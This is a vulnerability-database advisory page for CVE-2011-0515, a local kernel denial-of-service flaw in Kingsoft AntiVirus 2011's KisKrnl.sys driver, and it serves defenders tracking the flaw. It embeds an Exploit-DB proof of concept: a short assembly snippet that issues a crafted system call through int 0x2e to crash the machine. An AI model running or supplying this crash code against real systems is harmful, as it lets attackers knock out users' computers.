CVE-2011-0515

low

Published 2011-01-20 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

3.1

Description

KisKrnl.sys 2011.1.13.89 and earlier in Kingsoft AntiVirus 2011 SP5.2 allows local users to cause a denial of service (crash) via a crafted request that is not properly handled by the KiFastCallEntry hook.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-15998 dos windows text · 1 KB

MJ0011 · 2011-01-16

Kingsoft AntiVirus 2011 SP5.2 'KisKrnl.sys' 2011.1.13.89 - Local Kernel Mode Denial of Service

text exploit Source: Exploit-DB

# Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit
# Date: 2011-1-16
# Author: MJ0011
# Software Link: http://cd001.www.duba.net/duba/install/2011/once/KAV110114_DOWN_9_13.exe
# Version: KingSoft AntiVirus 2011 SP5.2 with KisKrnl.sys <=2011.1.13.89
# Tested on: Windows XP SP3

DETAILS:
KisKrnl.sys hook the kernel function KiFastCallEntry , but is not correctly handle user stack pointer

EXPLOIT CODE:

__asm
{
mov edx , 0x80000000
mov eax , 0x101        ;id of NtTerminateProcess under Windows XP 
int 0x2e
}

Application impact

Vendor	Product	Versions	Fixed
kingsoft	kingsoft_antivirus	`2010.04.26.648`
kingsoftsecurity	kingsoft_antivirus	`2011`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.